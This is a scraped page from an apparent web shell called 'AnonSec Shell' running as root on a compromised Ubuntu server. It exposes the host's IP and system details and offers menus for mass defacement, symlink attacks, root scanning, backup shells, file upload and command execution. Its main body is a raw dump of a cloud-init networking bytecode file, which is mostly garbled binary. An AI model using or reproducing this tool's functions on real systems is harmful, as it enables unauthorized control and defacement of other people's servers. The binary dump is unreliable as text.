AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/networking.cpython-310.pyc
o

x[h>+�@s�ddlZddlZddlZddlmZmZmZmZddlm	Z	ddl
mZe�e
�ZeZeZGdd�dejd�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�ZdS)�N)�net�performance�subp�util)�ifconfig)�Iproute2c@s�eZdZdZdefdd�Zdd�deddfdd	�Zej	d
e
ddfdd��Zd
efdd�Z
d
efdd�Zd
e
defdd�Zdd�Zdd�defdd�Zdefdd�Zdefdd�Zd
edefd d!�Zd
efd"d#�Zdefd$d%�Zdefd&d'�Zd
efd(d)�Zdd*�d
ed+edefd,d-�Zd
edefd.d/�Zd
edefd0d1�Zej	d
edefd2d3��Zd
edefd4d5�Zd
edefd6d7�Zd
edefd8d9�Z d
edefd:d;�Z!ej	dd<�dDd=d>��Z"d?d*�d
e
d+eddfd@dA�Z#ej	d
edefdBdC��Z$dS)E�
NetworkingaThe root of the Networking hierarchy in cloud-init.

    This is part of an ongoing refactor in the cloud-init codebase, for more
    details see "``cloudinit.net`` -> ``cloudinit.distros.networking``
    Hierarchy" in CONTRIBUTING.rst for full details.
    �returncC�t��S�N)r�_get_current_rename_info��self�r�>/usr/lib/python3/dist-packages/cloudinit/distros/networking.pyr�z#Networking._get_current_rename_infoN��current_info�renamescC�tj||d�S)Nr)r�_rename_interfaces)rrrrrrr�zNetworking._rename_interfaces�netcfgcC�dS)z7Read the network config and rename devices accordingly.Nr�rrrrr�apply_network_config_names �z%Networking.apply_network_config_names�devnamecC�
t�|�Sr)r�device_devid�rrrrrr$�
zNetworking.device_devidcCrr)r�
device_driverr rrrr"'r!zNetworking.device_drivercCrr)r�extract_physdevsrrrrr#*r!zNetworking.extract_physdevscCr
r)r�find_fallback_nicr
rrrr$-rzNetworking.find_fallback_nicF��
config_driverr&cCstj|d�S)Nr%)r�generate_fallback_config)rr&rrrr'0�z#Networking.generate_fallback_configcCr
r)r�get_devicelistr
rrrr)3rzNetworking.get_devicelistcCr
r)r�get_ib_hwaddrs_by_interfacer
rrrr*6rz&Networking.get_ib_hwaddrs_by_interface�ethernet_formatcCst�||�Sr)r�get_ib_interface_hwaddr)rrr+rrrr,9sz"Networking.get_ib_interface_hwaddrcCrr)r�get_interface_macr rrrr->r!zNetworking.get_interface_maccCr
r)r�get_interfacesr
rrrr.ArzNetworking.get_interfacescCr
r)r�get_interfaces_by_macr
rrrr/Drz Networking.get_interfaces_by_maccCrr)r�
get_masterr rrrr0Gr!zNetworking.get_master��strictr2cCr)Nr1)r�interface_has_own_mac)rrr2rrrr3Jsz Networking.interface_has_own_maccCrr)r�is_bondr rrrr4Or!zNetworking.is_bondcCrr)r�	is_bridger rrrr5Rr!zNetworking.is_bridgecCr)z�
        Is ``devname`` a physical network device?

        Examples of non-physical network devices: bonds, bridges, tunnels,
        loopback devices.
        Nrr rrr�is_physicalUrzNetworking.is_physicalcCrr)r�
is_renamedr rrrr7^r!zNetworking.is_renamedcCrr)r�is_upr rrrr8ar!zNetworking.is_upcCrr)r�is_vlanr rrrr9dr!zNetworking.is_vlancCrr)r�master_is_bridge_or_bondr rrrr:gr!z#Networking.master_is_bridge_or_bond��existscCr)a�Wait for device population in the system to complete.

        :param exists:
            An optional optimisation.  If given, only perform as much of the
            settle process as is required for the given DeviceName to be
            present in the system.  (This may include skipping the settle
            process entirely, if the device already exists.)
        :type exists: Optional[DeviceName]
        Nr�rr<rrr�settlejrzNetworking.settleTc
Cs�|�|�}tdd�|D��}t|���}|����}td�D]K}|�|�r-t�d�dS|�	|�}t�d|�|D](}	||	}
d�
|
�}tj|dd	��|j
|
d
�Wd�n1s]wYq:|����}qd|}t�|�|ryt|��dS)a�Wait for all the physical devices in `netcfg` to exist on the system

        Specifically, this will call `self.settle` 5 times, and check after
        each one if the physical devices are now present in the system.

        :param netcfg:
            The NetworkConfig from which to extract physical devices to wait
            for.
        :param strict:
            Raise a `RuntimeError` if any physical devices are not present
            after waiting.
        cSsg|]
}|d|df�qS)r�r)�.0�ifacerrr�
<listcomp>�sz0Networking.wait_for_physdevs.<locals>.<listcomp>�z*net: all expected physical devices presentNz)net: waiting for expected net devices: %szWaiting for settle or {} exists�always)�log_moder;z-Not all expected physical devices present: %s)r#�dict�set�keysr/�range�issubset�LOG�debug�
difference�formatr�Timedr>�warning�RuntimeError)rrr2�physdevs�expected_ifaces�
expected_macs�present_macs�_�missing�macr�msgrrr�wait_for_physdevsvs.




��
�zNetworking.wait_for_physdevscCr)z=Try setting the link to up explicitly and return if it is up.Nrr rrr�try_set_link_up�rzNetworking.try_set_link_up�r	N)%�__name__�
__module__�__qualname__�__doc__rFr�listr�abc�abstractmethod�
NetworkConfigr�
DeviceNamerr"r#r$�boolr'r)r*r,r-r.r/r0r3r4r5r6r7r8r9r:r>rZr[rrrrrsd�
����
����
�2r)�	metaclasscs�eZdZdZ�fdd�Zedefdd��Zdd�Zd	e	dd
fdd�Z
d
edefdd�Z
d
edefdd�Zd
edefdd�Zd
edefdd�Zd
edefdd�Zd
d�ddd�Zd
edefdd�Z�ZS)�
BSDNetworkingz>Implementation of networking functionality shared across BSDs.cst��|_i|_t���dSr)r�Ifconfig�ifc�_ifs�super�__init__r
��	__class__rrrm�s
zBSDNetworking.__init__r	cCs|js|��|jSr)rk�_update_ifsr
rrr�ifs�szBSDNetworking.ifscCs0t�ddg�}|dr|j�|d�|_dSdS)Nrz-ar)rrj�parserk)r�ifconfrrrrp�s�zBSDNetworking._update_ifsrNcCst�d�dS)Nz Cannot rename network interface.)rKrLrrrrr�rz(BSDNetworking.apply_network_config_namesrcC�|j|jSr)rqr6r rrrr6�r(zBSDNetworking.is_physicalcCrtr)rqr4r rrrr4�r(zBSDNetworking.is_bondcCrtr)rqr5r rrrr5�r(zBSDNetworking.is_bridgecCrtr)rqr9r rrrr9�r(zBSDNetworking.is_vlancCrtr)rq�upr rrrr8�r(zBSDNetworking.is_upr;cCr)z0BSD has no equivalent to `udevadm settle`; noop.Nrr=rrrr>�rzBSDNetworking.settlecCst�d|dg�|�|�S)��Try setting the link to up explicitly and return if it is up.
        Not guaranteed to bring the interface up. The caller is expected to
        add wait times before retrying.rru)rr8r rrrr[�s
zBSDNetworking.try_set_link_upr\)r]r^r_r`rm�propertyrFrqrprdrrerfr6r4r5r9r8r>r[�
__classcell__rrrnrrh�srhc@s0eZdZdeddfdd�Zdedefdd�ZdS)	�FreeBSDNetworkingrr	NcCsdSrrrrrrr�sz,FreeBSDNetworking.apply_network_config_namesrcCsB|j|jsdStjdd|gddgd�\}}|d�|�krdSdS)	NF�devinfoz-prr?)�rcszdevinfo: {}: Not found
T)rqr6rrN)rrrV�errrrrr7�szFreeBSDNetworking.is_renamed)r]r^r_rdrrerfr7rrrrry�sryc@s�eZdZdZdeddfdd�Zdedefdd	�Zdede	fd
d�Z
dede	fdd
�Zdede	fdd�Zdede	fdd�Z
dede	fdd�Zdede	fdd�Zdd�ddd�Zdede	fdd�ZdS)�LinuxNetworkingzCImplementation of networking functionality common to Linux distros.rr	Nc
Cs>z|�|�|��WdSty}ztd|�|�d}~ww)z�Read the network config and rename devices accordingly.

        Renames are only attempted for interfaces of type 'physical'. It is
        expected that the network system will create other devices with the
        correct name in place.
        z(Failed to apply network config names: %sN)rr#rQ)rr�errrrs����z*LinuxNetworking.apply_network_config_namesrcCrr)r�get_dev_featuresr rrrrr!z LinuxNetworking.get_dev_featurescCrr)r�has_netfail_standby_featurer rrrr�r!z+LinuxNetworking.has_netfail_standby_featurecCrr)r�is_netfailoverr rrrr�r!zLinuxNetworking.is_netfailovercCrr)r�is_netfail_masterr rrrr�r!z!LinuxNetworking.is_netfail_mastercCrr)r�is_netfail_primaryr rrrr�r!z"LinuxNetworking.is_netfail_primarycCrr)r�is_netfail_standbyr rrrr�!r!z"LinuxNetworking.is_netfail_standbycCstj�t�|d��S)N�device)�os�pathr<r�sys_dev_pathr rrrr6$szLinuxNetworking.is_physicalr;cCs"|dur	t�|�}tj|d�dS)Nr;)rr�r�udevadm_settler=rrrr>'s
zLinuxNetworking.settlecCst�|�|�|�S)rv)r�link_upr8r rrrr[,s

zLinuxNetworking.try_set_link_upr\)r]r^r_r`rdrre�strrrfr�r�r�r�r�r6r>r[rrrrr}sr})rb�loggingr��	cloudinitrrrr�cloudinit.distros.parsersr�cloudinit.net.netops.iproute2r�	getLoggerr]rKr�rerFrd�ABCMetarrhryr}rrrr�<module>s
2!

Anon7 - 2022
AnonSec Team